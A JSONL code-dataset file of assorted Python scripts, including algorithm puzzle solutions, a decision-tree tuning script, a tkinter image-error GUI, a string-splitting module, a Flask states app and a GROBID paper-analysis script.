+{"seq_id":"7573813","text":"class Solution:\n    def largestRectangleArea(self, heights) -> int:\n        heights = [0] + heights + [0]\n        stack = [0]\n        ans = 0\n        for i in range(len(heights)):\n            while stack and heights[i] < heights[stack[-1]]:\n                ans = max(ans, heights[stack.pop()] * (i - stack[-1]-1))\n            stack.append(i)\n        return ans\n\n\nprint(Solution().largestRectangleArea([2, 1, 2]))\n","sub_path":"84.py","file_name":"84.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"35999334","text":"from bs4 import BeautifulSoup\nimport matplotlib.pyplot as plt\nimport re\nimport os\n\n\ndef get_keywords(soup):\n    keywords = soup.find('keywords')\n    if keywords is not None:\n        return \"<h3>Keywords: </h3> <p>\" + keywords.text + \"</p>\"\n    else:\n        return \"<h3>Keywords: </h3> <p>No Keywords found.</p>\"\n\ndef get_figures(soup):\n    figures = soup.find_all('figure')\n    if figures is not None:\n        return len(figures)\n    else:\n       return 0\n    \n\ndef get_links(soup):\n    ptrs = soup.find_all(\"ptr\")\n\n    links = []\n    for ptr in ptrs:\n        links.append(ptr[\"target\"])\n\n    link_pattern = re.compile(r\"(?:(?:https?://|www\\.)\\S+|\\(https?://\\S+\\))\")\n    paragraphs = soup.find_all(\"p\")\n    for p in paragraphs:\n        link_paragraphs = link_pattern.findall(p.text)\n        for link in link_paragraphs:\n            links.append(link)\n    res = \"\"\n    if str(len(links)) != 0:\n        res += \"<h3>Links found (\" + str(len(links)) + \"):<h3><ul>\"\n        for link in links:\n            res += \"<li style=\\\"font-size:18px\\\"><a href=\\\"\" + link + \"\\\">\" + link + \"</a></li>\"\n        res += \"</ul>\"\n    else:\n        res= \"<h3>No links found.<h3>\"\n    return res\n\nif __name__ == \"__main__\":\n\n    def check_structure():\n        if not os.path.exists(\"./input\"):\n            print(\"Input directory does not exist.\")\n            return False\n        if not os.path.exists(\"./output\"):\n            print(\"Output directory does not exist.\")\n            return False\n        print(\"Directory structure is OK.\")\n        return True\n\n    def check_output():\n        if not os.path.exists(\"input/analysis.html\"):\n            print(\"analysis.html file was not created.\")\n            return False\n        if not os.path.exists(\"input/figures_histogram.png\"):\n            print(\"figures_histogram.png file was not created.\")\n            return False\n        print(\"analisys.html file created on the input/ directory.\")\n        return True\n\n\n    if check_structure():\n        # This code will not be used if this module is imported, this is because of the tests, bcause they fail with the grobid client.\n        from grobid_client.grobid_client import GrobidClient\n\n        client = GrobidClient(config_path=\"config.json\")\n        client.process(\"processFulltextDocument\", \"/input\", output=\"/output\", consolidate_citations=True, tei_coordinates=True, force=True)\n\n\n        output_path = '/output/'\n        output_file = 'input/analysis.html'\n        output_file_figure = 'input/figures_histogram.png'\n\n        if os.path.exists(output_file):\n            os.remove(output_file)\n\n        if os.path.exists(output_file_figure):\n            os.remove(output_file_figure)\n\n        num_figures = [] # list to store the number of figures for each file\n        file_names = [] # list to store the name of each file\n\n        with open(output_file, 'w') as file:\n            for root, dirs, files in os.walk(output_path):\n                for file_name in files + dirs:\n                    \n                    file_path = os.path.join(root, file_name)\n\n                    with open(file_path, 'r', encoding=\"utf-8\") as tei:\n                        soup = BeautifulSoup(tei, 'xml')\n                        file_display = str(file_path).removeprefix(\"/output/\").removesuffix(\".tei.xml\")\n                        file.write(\"<h1> For file: \" + file_display + \"</h1>\")\n                        \n                        file.write(get_keywords(soup))\n                        num_figures.append(get_figures(soup))\n                        file_names.append(file_display)\n                        file.write(get_links(soup))\n\n                        file.write(\"<hr></hr>\")\n\n            plt.figure()\n            plt.bar(file_names,num_figures, align='center') \n            plt.xlabel('File names')\n            plt.ylabel('Number of figures')\n            plt.xticks(rotation=90)\n            plt.savefig('input/figures_histogram.png')\n\n            file.write(\"<h1>Number of Figures Histogram:</h1>\")\n            file.write(\"<img src=\\\"figures_histogram.png\\\">\")\n            check_output()","sub_path":"practica_1/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"614721276","text":"annee = float(input(\"Donnez une année\"))\r\nannee = int(annee)\r\nresult = \"false\"\r\n\r\nif annee % 400 == 0 or (annee % 4 == 0 and annee % 100 != 0):\r\n    result = \"true\"\r\n\r\nif result == \"true\":\r\n    print(\"L'année est bisixtile\")\r\nelse:\r\n    print(\"L'année n'est pas bisixtile\")\r\n\r\n\r\n","sub_path":"TP_Annebisixtile_v1.py","file_name":"TP_Annebisixtile_v1.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"91801145","text":"import numpy as np\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import learning_curve\nfrom sklearn.model_selection import validation_curve\nfrom sklearn.metrics import confusion_matrix\n\nimport time\nimport pandas as pd\nfrom sklearn.model_selection import GridSearchCV\nimport warnings\n\n\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None, n_jobs=None, train_sizes=np.linspace(0.2,1.0,10)):\n    plt.figure()\n    plt.title(title)\n    if ylim is not None:\n        plt.ylim(*ylim)\n    plt.xlabel(\"Training examples\")\n    plt.ylabel(\"Score\")\n    train_sizes, train_scores, test_scores = learning_curve(estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n    train_scores_mean = np.mean(train_scores, axis=1)\n    train_scores_std = np.std(train_scores, axis=1)\n    test_scores_mean = np.mean(test_scores, axis=1)\n    test_scores_std = np.std(test_scores, axis=1)\n    print('cross-validation scores', test_scores_mean)\n    plt.grid()\n\n    plt.fill_between(train_sizes, train_scores_mean - train_scores_std, train_scores_mean + train_scores_std, alpha=0.1, color=\"b\")\n    plt.fill_between(train_sizes, test_scores_mean - test_scores_std,test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n    plt.plot(train_sizes, train_scores_mean, 'o-', color=\"b\", label=\"Training score\")\n    plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\", label=\"Cross-validation score\")\n\n    plt.legend(loc=\"best\")\n    plt.show()\n    return plt\n\n\ndef plot_validation_curve(X,y,estimator,name):\n\n    if name == 'dtree':\n        param_range = np.arange(1, 100,5)\n        param_name = 'max_depth'\n    if name == 'dtree1':\n         param_range = np.arange(2,35,2)\n         param_name = 'min_samples_split'\n    # if name == 'dtree2':\n    #      param_range = np.arange(2,40,2)\n    #      param_name = 'min_samples_leaf'\n    if name == 'dtree3':\n         param_range = np.arange(70,350,40)\n         param_name = 'max_leaf_nodes'\n\n    train_scores, test_scores = validation_curve(estimator, X, y, param_name=param_name, param_range=param_range, cv=5,\n                                                 scoring=\"accuracy\", n_jobs=1)\n    train_scores_mean = np.mean(train_scores, axis=1)\n    train_scores_std = np.std(train_scores, axis=1)\n    test_scores_mean = np.mean(test_scores, axis=1)\n    test_scores_std = np.std(test_scores, axis=1)\n\n    plt.title(\"Validation Curve for \" + name)\n    plt.xlabel(param_name)\n    plt.ylabel(\"Score\")\n    plt.ylim(0.0, 1.1)\n    plt.grid()\n    lw = 2\n    plt.plot(param_range, train_scores_mean, label=\"Training score\", color=\"darkorange\", lw=lw)\n    plt.fill_between(param_range, train_scores_mean - train_scores_std, train_scores_mean + train_scores_std, alpha=0.2,\n                     color=\"darkorange\", lw=lw)\n    plt.plot(param_range, test_scores_mean, label=\"Cross-validation score\", color=\"navy\", lw=lw)\n    plt.fill_between(param_range, test_scores_mean - test_scores_std, test_scores_mean + test_scores_std, alpha=0.2,\n                     color=\"navy\", lw=lw)\n    plt.legend(loc=\"best\")\n    plt.show()\n\n\ndf = pd.read_csv('digits_training.tra', sep=\",\", skiprows=0)\n\ndf=np.array(df)\nprint(df.shape,df.dtype)\ndat=df[:,0:64]\ntar1=df[:,64]\nX=dat\ny=tar1\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=7)\n# clf=DecisionTreeClassifier(max_depth=5,min_samples_split=10,max_leaf_nodes=50)#random search\nclf= DecisionTreeClassifier()\ns1=time.time()\nclf.fit(X_train,y_train)\ne1=time.time()\n# s2=time.time()\n# y_prd=clf.predict(X_test)\n# e2=time.time()\nt1=e1-s1\n# t2=e2-s2\ny_test = np.array(y_test)\n#y_prd = np.array(y_prd)\nprint(clf.get_depth(),clf.get_n_leaves())\n#print('Test Accuracy: %.8f' % accuracy_score(y_test,y_prd))\nprint(\"Training time: \",t1)\n# print(\"Testing time: \",t2)\nplot_learning_curve(clf,'Learning Curve for Decision Tree', X_train, y_train, (0,1.01),cv=5)\n# plot_tree(clf.fit(X_train, y_train),filled=True)\n# plt.show()\nclf1=DecisionTreeClassifier()\nplot_validation_curve(X_train,y_train,clf1,'dtree')\nplot_validation_curve(X_train,y_train,clf1,'dtree1')\n#plot_validation_curve(X_train,y_train,clf1,'dtree2')\nplot_validation_curve(X_train,y_train,clf1,'dtree3')\n# clf2=DecisionTreeClassifier(max_depth=5,min_samples_split=10,max_leaf_nodes=50)\n#\n# plot_learning_curve(clf2,'Learning Curve for Decision Tree', X_train, y_train, (0,1.01),cv=5)\n# clf2.fit(X_train,y_train)\n# e1=time.time()\n# s2=time.time()\n# y_prd=clf2.predict(X_test)\n# e2=time.time()\n# t1=e1-s1\n# t2=e2-s2\n# y_test = np.array(y_test)\n# y_prd = np.array(y_prd)\n# print('Test Accuracy: %.8f' % accuracy_score(y_test,y_prd))\n# plot_tree(clf2.fit(X_train, y_train),filled=True)\n# plt.show()\n\nclf3=DecisionTreeClassifier()\nclf3=GridSearchCV(estimator=clf3,param_grid={'max_depth': np.arange(10,16,2),'max_leaf_nodes':np.arange(220,280,10)},cv=5)\nx1=time.time()\nclf3.fit(X_train,y_train)\nx2=time.time()\nprint(x2-x1,\"train time\")\n# #  plot_tree(clf1.fit(X_train, y_train),filled=True)\n# #  plt.show()\nx11=time.time()\ny_prd1=clf3.predict(X_test)\nx21=time.time()\nprint(x21-x11,\"test time\")\ny_prd1 = np.array(y_prd1)\nprint('Test Accuracy after grid search fit: %.8f' % accuracy_score(y_test,y_prd1))\nprint(clf3.best_params_,clf3.best_score_)\n# plot_learning_curve(clf3,'Learning Curve for Decision Tree', X_train, y_train, (0,1.01),cv=5)\n###########################################################\nclf = DecisionTreeClassifier(max_depth=14,max_leaf_nodes=260,random_state=0)\npath = clf.cost_complexity_pruning_path(X_train, y_train)\nccp_alphas, impurities = path.ccp_alphas, path.impurities\nclfs = []\nfor ccp_alpha in ccp_alphas:\n    clf = DecisionTreeClassifier(max_depth=14,max_leaf_nodes=260,random_state=0, ccp_alpha=ccp_alpha)\n    clf.fit(X_train, y_train)\n    clfs.append(clf)\nprint(\"Number of nodes in the last tree is: {} with ccp_alpha: {}\".format(\n      clfs[-1].tree_.node_count, ccp_alphas[-1]))\ntrain_scores = [clf.score(X_train, y_train) for clf in clfs]\ntest_scores = [clf.score(X_test, y_test) for clf in clfs]\n\nfig, ax = plt.subplots()\nax.set_xlabel(\"alpha\")\nax.set_ylabel(\"accuracy\")\nax.set_title(\"Accuracy vs alpha for training and testing sets\")\nax.plot(ccp_alphas, train_scores, marker='o', label=\"train\",\n        drawstyle=\"steps-post\")\nax.plot(ccp_alphas, test_scores, marker='o', label=\"test\",\n        drawstyle=\"steps-post\")\nax.legend()\nplt.show()\nclf = DecisionTreeClassifier(max_depth=14,max_leaf_nodes=260,random_state=0, ccp_alpha=0.001)\nclf.fit(X_train, y_train)\nprint(clf.score(X_test, y_test),'score')\nprint(clf.get_depth(),clf.get_n_leaves())\nplot_learning_curve(clf,'Learning Curve for Decision Tree', X_train, y_train, (0,1.01),cv=5)","sub_path":"dt.py","file_name":"dt.py","file_ext":"py","file_size_in_byte":6910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"376945977","text":"import matplotlib\nmatplotlib.use(\"TkAgg\")     # Fixes error on OSX\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter.filedialog import askdirectory\nimport os\nimport re\nfrom pathlib import Path\nfrom PIL import Image, ImageTk\nfrom FindErrors import find_errors\nfrom skimage import io\nfrom skimage.external import tifffile\nfrom skimage.draw import line\n\n\nclass Main(Tk):\n    def __init__(self):\n        Tk.__init__(self)\n        self.title(\"Find Errors\")\n        self.columnconfigure(0, weight=1)\n        self.rowconfigure(0, weight=1)\n\n        mainframe = ttk.Frame(self, padding=\"10\")\n        mainframe.grid(sticky=(N, W, E, S))\n        mainframe.rowconfigure(1, weight=1, pad=5, minsize=50)\n        mainframe.rowconfigure(3, pad=10)\n        mainframe.columnconfigure(0, minsize=200)\n        mainframe.columnconfigure(2, pad=5)\n        mainframe.columnconfigure(4, weight=1)\n\n        self.count = 0\n        self.process = StringVar()\n        self.process.set('None')\n        self.bit_change = IntVar()\n        self.bit_depth = IntVar()\n        self.bit_var = 0\n        self.otsu = IntVar()\n        self.high = StringVar()\n        self.low = StringVar()\n        self.high.set(.9)\n        self.low.set(.4)\n        self.otsu.set(1)\n\n        ttk.Label(mainframe, text=\"Processing:\").grid(row=2, column=0, sticky=(W, S))\n        ttk.Label(mainframe, textvariable=self.process).grid(row=2, column=1, sticky=S)\n\n        self.files = []\n        ttk.Button(mainframe, text=\"Select Directory\", command=self.change_directory).grid(row=0, column=0, sticky=W)\n\n        ttk.Button(mainframe, text=\"Options\", command=self.pref).grid(row=0, column=1, sticky=E)\n\n        fileframe = ttk.Labelframe(mainframe, text='Files:')\n        fileframe.rowconfigure(0, pad=50)\n        fileframe.grid(row=1, column=0, columnspan=2, sticky=(N, W, S, E))\n        fileframe.grid_propagate(0)\n        self.file_strings = StringVar()\n        ttk.Label(fileframe, textvariable=self.file_strings).grid()\n\n        ttk.Button(mainframe, text=\"Run\", command=self.go).grid(row=1, column=2)\n        ttk.Button(mainframe, text=\"Next\", command=self.next_img).grid(row=1, column=3)\n\n        canvasframe = ttk.Labelframe(mainframe)\n        canvasframe.grid(row=1, column=4, rowspan=2, sticky=(N, W, S, E))\n        canvasframe.rowconfigure(0, weight=1)\n        canvasframe.columnconfigure(0, weight=1)\n\n        xscrollbar = Scrollbar(canvasframe, orient=HORIZONTAL)\n        xscrollbar.grid(row=1, column=0, sticky=(E, W))\n\n        yscrollbar = Scrollbar(canvasframe)\n        yscrollbar.grid(row=0, column=1, sticky=(N, S))\n\n        self.canvas = Canvas(canvasframe, xscrollcommand=xscrollbar.set, yscrollcommand=yscrollbar.set)\n        self.img_on_canvas = self.canvas.create_image(0, 0, anchor='nw')\n        self.canvas.grid(row=0, column=0, sticky=(N, W, S, E))\n        self.canvas.configure(scrollregion=self.canvas.bbox(ALL))\n\n        xscrollbar.configure(command=self.canvas.xview)\n        yscrollbar.configure(command=self.canvas.yview)\n\n        self.to_display = []\n        self.images = []\n\n        self.progress = ttk.Progressbar(mainframe, orient=HORIZONTAL, mode='determinate')\n        self.progress.grid(row=3, column=0, columnspan=5, sticky=(E, W))\n\n    def change_directory(self):\n        self.files = []\n        folder = askdirectory()\n        for f in os.listdir(folder):\n            if re.search('(?i)\\.jpg', f):\n                self.files.append(str(Path(folder+\"\\\\\"+f).resolve()))\n        self.file_strings.set('\\n'.join(self.files))\n        self.count = 0\n\n    def go(self):\n        self.progress['maximum'] = len(self.files)\n        self.progress['value'] = 0\n        self.to_display = []\n        for n, f in enumerate(self.files):\n            self.process.set(f)\n            self.update_idletasks()\n            self.to_display.append([])\n            try:\n                self.to_display[n].append(find_errors(f, self.bit_var, self.otsu.get(), float(self.high.get()),\n                                                      float(self.low.get())))\n            except:\n                raise\n            self.progress['value'] += 1\n        self.process.set('Rendering')\n        # DONT TRY AND DISPLAY\n        # for n, i in enumerate(self.files):\n        #     image = io.imread(i)\n        #     for j in self.to_display[n]:\n        #         for k in j:\n        #             p0, p1 = k\n        #             rr, cc = line(p0[0], p0[1], p1[0], p1[1])\n        #             image[rr, cc] = 255\n        #     self.images.append(image)\n        self.process.set('None')\n        self.count = 1\n\n    def next_img(self):\n        if not self.count:\n            pass\n        else:\n            if self.count > len(self.images):\n                self.count = 1\n            img = ImageTk.PhotoImage(Image.fromarray(self.images[self.count - 1]))\n            self.canvas.itemconfig(self.img_on_canvas, image=img)\n            self.canvas.img = img\n            self.count += 1\n\n    def pref(self):\n        pref_win = Toplevel()\n        pref_win.transient(self)\n        pref_win.grab_set()\n        pref_frame = ttk.Frame(pref_win, padding=\"10\")\n        pref_frame.grid(sticky=(N, W, E, S))\n        bit_spin = Spinbox(pref_frame, from_=1, to=16, textvariable=self.bit_depth,\n                           command=self.bit_var_change)\n        if not self.bit_change.get():\n            bit_spin['state'] = DISABLED\n        bit_spin.grid(row=0, column=1, columnspan=2)\n        ttk.Checkbutton(pref_frame, text=\"Reduce bit depth by\", variable=self.bit_change,\n                        command=lambda: self.swap_state(bit_spin)).grid(row=0, column=0, sticky=W)\n        ttk.Radiobutton(pref_frame, text=\"Use Otsu's method to determine\\nCanny thresholds (ratio between 0 - 1)\",\n                        variable=self.otsu, value=1).grid(row=1, column=0, sticky=W)\n        ttk.Radiobutton(pref_frame, text=\"Set Canny thresholds manually (0 - 255)\",\n                        variable=self.otsu, value=0).grid(row=2, column=0, sticky=W)\n        self.otsu.set(1)\n        ttk.Label(pref_frame, text='Upper threshold').grid(row=1, column=1, sticky=W)\n        ttk.Entry(pref_frame, width=3, textvariable=self.high).grid(row=1, column=2, sticky=W)\n        ttk.Label(pref_frame, text='Lower threshold').grid(row=2, column=1, sticky=W)\n        ttk.Entry(pref_frame, width=3, textvariable=self.low).grid(row=2, column=2, sticky=W)\n\n    def bit_var_change(self):\n        self.bit_var = self.bit_depth.get()\n\n    def swap_state(self, widget):\n        if widget['state'] == NORMAL:\n            widget['state'] = DISABLED\n            self.bit_var = 0\n        else:\n            widget['state'] = NORMAL\n            self.bit_var = self.bit_depth.get()\n\n\nif __name__ == \"__main__\":\n    Main().mainloop()\n","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":6733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"65410424","text":"from map import Map\nimport re\nclass Split(Map):\n\tdef __init__(self):\n\t\tsuper(Split,self).__init__()\n\t\tself['update'] = False\n\t\tself['drop'] = True\n\t\tself['result'] = 'column'\n\t\tself.name = 'split'\n\n\tdef transform(self, values):\n\t\t\n\t\tval = str(values[0])\n\t\t\n\t\t\n\t\tif(not val):\n\t\t\treturn []\n\n\t\tmax_splits = self['max'];\n\t\t\n\n\n\t\t#Shortcut for big splits\n\t\tif(max_splits==0 and self['on']!=None and self['before']==None and self['after']==None and self['ignore_between'] == None):\n\t\t\t\treturn re.split(self['on'], val)\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tsplits = match(val, {'on':self['on'],'before':self['before'],'after':self['after'],'ignore_between':self['ignore_between'], 'max':self['max']})\n\t\t\n\t\tsplitValues = []\n\t\t\n\n\t\tfor i in range(0,len(splits)):\n\t\t\tif(i%2==0):\n\t\t\t\tsplitValues.append(splits[i])\n\t\t\n\n\n\t\t\n\t\treturn splitValues;\n\t\t\nclass Extract(Map):\n\tdef __init__(self):\n\t\tsuper(Extract,self).__init__()\n\t\tself['update'] = False\n\t\tself['drop'] = False\n\t\tself['result'] = 'column'\n\t\tself.name = 'extract'\n\n\tdef transform(self, values):\n\n\t\tval = str(values[0])\n\t\tsplits = match(val, {'on':self['on'],'before':self['before'],'after':self['after'],'ignore_between':self['ignore_between'], 'max':self['max']})\n\n\t\tsplitValues = []\n\t\t\n\t\tfor i in range(0,len(splits)):\n\t\t\tif(i%2==1):\n\t\t\t\tsplitValues.append(splits[i])\n\n\n\t\treturn splitValues;\t\t\n\nclass Cut(Map):\n\tdef __init__(self):\n\t\tsuper(Cut,self).__init__()\n\t\tself['update'] = True\n\t\tself['drop'] = False\n\t\tself['result'] = 'column'\n\t\tself.name = 'cut'\n\n\tdef transform(self, values):\n\n\t\tsplitValues = []\n\t\tfor i in range(0, len(values)):\n\t\t\tv = values[i]\n\t\t\tval = str(v)\n\t\t\tsplits = match(val, {'on':self['on'],'before':self['before'],'after':self['after'],'ignore_between':self['ignore_between'], 'max':self['max']})\n\n\t\t\n\t\t\tx = ''\n\t\t\tfor i in range(0,len(splits)):\n\t\t\t\tif(i%2==0):\n\t\t\t\t\tx += (splits[i])\n\t\t\t\n\t\t\tsplitValues.append(x)\n\n\t\treturn splitValues;\t\t\n\n\n\t\t\n\t\t\n\t\t\n\t\t\n\ndef match(value, options):\n\n\n\t\t\n\n\tif(not value):\n\t\treturn []\n\t\n\tmax_splits = options['max'];\n\n\tif(max_splits==None):\n\t\tmax_splits = 1\n\n\t#Shortcut for big splits\n\tif(options['on']!=None and options['before']==None and options['after']==None and options['ignore_between'] == None):\n\t\tif(max_splits==0):\n\t\t\treturn re.split(\"(\" + options['on'] + \")\", value)\n\n\n\tremainder_to_split = value\n\tsplits = []\n\tnumSplit = 0;\n\twhile(max_splits <= 0 or numSplit < max_splits*1):\n\t\ts = match_once(remainder_to_split, options)\n\n\t\tif(len(s) > 1):\n\t\t\tremainder_to_split = s[2];\n\t\t\tsplits.append(s[0])\n\t\t\tsplits.append(s[1])\n\t\t\toccurrence = 0\n\t\telse:\n\t\t\tbreak\n\t\t\t\n\t\tnumSplit+=1\n\t\n\tsplits.append(remainder_to_split)\n\toccurrence = 0\n\tnewSplits = []\n\tprefix = ''\n\twhich = 1\n\tfor i in range(0, len(splits)):\n\t\tif(i%2==1):\n\t\t\toccurrence+=1\n\t\t\tif(occurrence==which):\n\t\t\t\tnewSplits.append(prefix)\n\t\t\t\tnewSplits.append(splits[i])\n\t\t\t\toccurrence = 0\n\t\t\t\tprefix = ''\n\t\t\t\tcontinue\n\n\t\tprefix += splits[i]\n\n\tnewSplits.append(prefix)\n\t\n\treturn newSplits;\n\t\ndef match_once(value, options):\n\t\n\tsplits = []\n\t\n\ton = options['on']\n\tbefore = options['before']\n\tafter = options['after']\n\tignore_between = options['ignore_between']\n\t\n\tremainder = value\n\tremainder_offset = 0\n\tstart_split_offset = 0\n\tadd_to_remainder_offset = 0;\n\t\n\twhile(len(remainder)):\n\n\t\tvalid_split_region = remainder;\n\t\tvalid_split_region_offset = 0;\t\t\n\t\tstart_split_offset = remainder_offset;\n\t\tif(ignore_between):\n\t\t\tmatch = re.search(ignore_between, remainder);\n\t\t\tif(match):\n\t\t\t\tvalid_split_region = valid_split_region[0:match.start(0)]\n\t\t\t\tremainder_offset += match.index + len(match.group(0));\n\t\t\t\tremainder = remainder.substr(match.start(0)+len(match.group(0)))\n\t\t\telse:\n\t\t\t\tremainder = ''\n\t\telse:\n\t\t\tremainder = ''\n\t\n\t\tif(after):\n\t\t\tmatch = re.search(after, valid_split_region)\n\t\t\tif(match):\n\t\t\t\tvalid_split_region_offset = match.start(0)+len(match.group(0));\n\t\t\t\tvalid_split_region = valid_split_region[valid_split_region_offset:]\n\t\t\telse:\n\t\t\t\tcontinue;\n\t\tif(before):\n\t\t\tmatch = re.search(before, valid_split_region)\n\t\t\tif(match):\n\t\t\t\tvalid_split_region = valid_split_region[0:match.start(0)]\n\t\t\telse:\n\t\t\t\tcontinue;\n\t\t\n\t\t\n\t\tmatch = re.search(on, valid_split_region)\n\t\t\n\t\tif(match):\n\t\t\tsplit_start = start_split_offset + valid_split_region_offset+match.start(0);\n\t\t\tsplit_end = split_start + len(match.group(0));\n\n\t\t\tsplits.append(value[0:split_start]);\n\t\t\tsplits.append(value[split_start:split_end])\t\t\t\n\t\t\tsplits.append(value[split_end:])\n\t\t\treturn splits;\n\n\t\telse:\t\n\t\t\tcontinue;\n\t\n\n\n\treturn [{'start':0, 'end':len(value), 'value':value}]\t","sub_path":"runtime/python/wrangler/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"469312521","text":"# Filling NaN values\n\nimport pandas as pd\n\ndf = pd.read_csv('D:\\Varun\\python_practice\\pandas_practice\\dirtydata.csv')\n\ndf1 = df[\"Calories\"].fillna(130)\n# or df.Calories = df[\"Calories\"].fillna(130)\nprint(df1.to_string())\n\n# Can fill in values of mean, median or mode of that column into the empty cell.\nx = df[\"Calories\"].mean()\ny = df[\"Calories\"].median()\nprint(x,y)\n\ndf2 = df[\"Calories\"].fillna(x)\nprint(df2.to_string())\n\ndf3 = df[\"Calories\"].fillna(y)\nprint(df3.to_string())\n\n# If you want entire dataframe, use inplace = True and print that","sub_path":"pandas_practice/basic5.2_clean.py","file_name":"basic5.2_clean.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"368579113","text":"def solve(wires):\r\n    wires.sort(key = lambda x: x[0])\r\n    s = 0\r\n    for i in range(len(wires)):\r\n        for k in range(i):\r\n            if (wires[i][1] < wires[k][1]):\r\n                s += 1\r\n    return s\r\n    \r\nt = int(input())\r\nfor i in range(1, t + 1):\r\n    n = int(input())\r\n    wires = []\r\n    for j in range(n):\r\n        wires.append([int(x) for x in input().split(' ')])\r\n    print(\"Case #{}: {}\".format(i,solve(wires)))\r\n","sub_path":"2010/1C/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"636908286","text":"#!/usr/bin/python3\n\"\"\"Script that starts a Flask web application\n\"\"\"\nfrom flask import Flask, render_template\nfrom models import storage\nfrom models.state import State\n\napp = Flask(__name__)\n\n\n@app.teardown_appcontext\ndef handle_teardown(self):\n    \"\"\"Function\"\"\"\n    storage.close()\n\n\n@app.route(\"/states\", strict_slashes=False)\ndef list_of_states():\n    \"\"\"Function\"\"\"\n    states = storage.all(State).values()\n    return render_template(\n        \"9-states.html\", states=states, condition=\"states_list\")\n\n\n@app.route(\"/states/<id>\", strict_slashes=False)\ndef list_of_states_id(id):\n    \"\"\"Function\"\"\"\n    states = storage.all(State)\n    # primero verificar que se pase el id\n    if id:\n        key = \"State.\" + id\n        # luego verificar que key(State.421a5..) esté en el diccionario\n        if key in states:\n            state_id = states[key]\n            return render_template(\n                \"9-states.html\", state_id=state_id, condition=\"state_id\")\n        else:\n            return render_template(\n                \"9-states.html\", condition=\"not_found\")\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=5000)\n","sub_path":"web_flask/9-states.py","file_name":"9-states.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"40538464","text":"'''\nTake the number 192 and multiply it by each of 1, 2, and 3:\n\n    192 x 1 = 192\n    192 x 2 = 384\n    192 x 3 = 576\n\nBy concatenating each product we get the 1 to 9 pandigital, 192384576. We will call 192384576 the concatenated product of 192 and (1,2,3)\n\nThe same can be achieved by starting with 9 and multiplying by 1, 2, 3, 4, and 5, giving the pandigital, 918273645, which is the concatenated product of 9 and (1,2,3,4,5).\n\nWhat is the largest 1 to 9 pandigital 9-digit number that can be formed as the concatenated product of an integer with (1,2, ... , n) where n > 1?\n'''\n\ndef unique_digits(number):\n\tdigits = {}\n\tfor digit in str(number):\n\t\tif digit in digits.keys():\n\t\t\treturn False\n\t\telse: digits[digit] = 1\n\treturn True\n\ndef pandigital(number):\n\tdigits = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\n\tfor digit in digits:\n\t\tif digit not in str(number):\n\t\t\treturn False\n\treturn True\t\n\t\ncandidates = set()\nfor i in range(1, 10000):\n\tc = str(i)\n\tn = 2\n\twhile unique_digits(c):\n\t\tc += str(i*n)\n\t\tif len(c) > 9:\n\t\t\tbreak\n\t\telif len(c) == 9 and pandigital(int(c)):\n\t\t\tcandidates.add(c)\n\t\t\tbreak\n\t\telse: n += 1\n\t\nprint('Answer:', max(candidates))\n","sub_path":"038.py","file_name":"038.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"183644352","text":"#!/bin/env python\n#\n#                               Copyright 2008\n#                                     by\n#                        The Board of Trustees of the\n#                     Leland Stanford Junior University.\n#                            All rights reserved.\n#\n\n__facility__ = \"Online\"\n__abstract__ = \"Timing config reporting classes\"\n__author__   = \"P.A.Hart <philiph@SLAC.Stanford.edu> SLAC - GLAST LAT I&T/Online\"\n__date__     = \"2008/01/25 00:00:00\"\n__updated__  = \"$Date: 2008/06/09 23:46:12 $\"\n__version__  = \"$Revision: 1.1 $\"\n__release__  = \"$Name: v1r10p2 $\"\n__credits__  = \"SLAC\"\n\nimport logging, os\n\nfrom ConfigXmlReport import *\n\nclass IgnoreXmlReport(PrecinctXmlReport):\n    def __init__(self, precinctInfo, configData):\n        PrecinctXmlReport.__init__(self, precinctInfo, configData)\n        \n    def createReport(self, rebuild=False):\n        self.createHeader()\n        summary = self.addSection(\"%s_Summary\" %(self.info.getPrecinct()))\n\n        self.addIntent(summary)  # blank intent node for later?\n\n\n    \n            \n","sub_path":"python/IgnoreXmlReport.py","file_name":"IgnoreXmlReport.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
